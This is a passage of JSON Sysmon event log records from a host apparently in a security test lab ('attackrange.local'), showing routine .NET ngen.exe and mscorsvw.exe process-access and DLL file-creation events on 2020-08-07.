C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001016E60900}","TargetProcessId":"5112","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001016E60900}\r\nTargetProcessId: 5112\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001016E60900}","TargetProcessId":"5112","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001016E60900}\r\nTargetProcessId: 5112\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001016E60900}","TargetProcessId":"5112","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.119\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001062E90900}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.119","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001062E90900}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001062E90900}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001062E90900}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001062E90900}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001062E90900}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:27.635\r\nProcessGuid: {90617006-425B-5F2D-0000-001062E90900}\r\nProcessId: 4868\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1304-0\\System.Transactions.dll\r\nCreationUtcTime: 2020-08-07 12:00:27.635","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:27.635","ProcessGuid":"{90617006-425B-5F2D-0000-001062E90900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1304-0\\System.Transactions.dll","CreationUtcTime":"2020-08-07 12:00:27.635","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.698\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001058ED0900}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.698","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001058ED0900}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.698\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001058ED0900}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:27.698","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001058ED0900}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 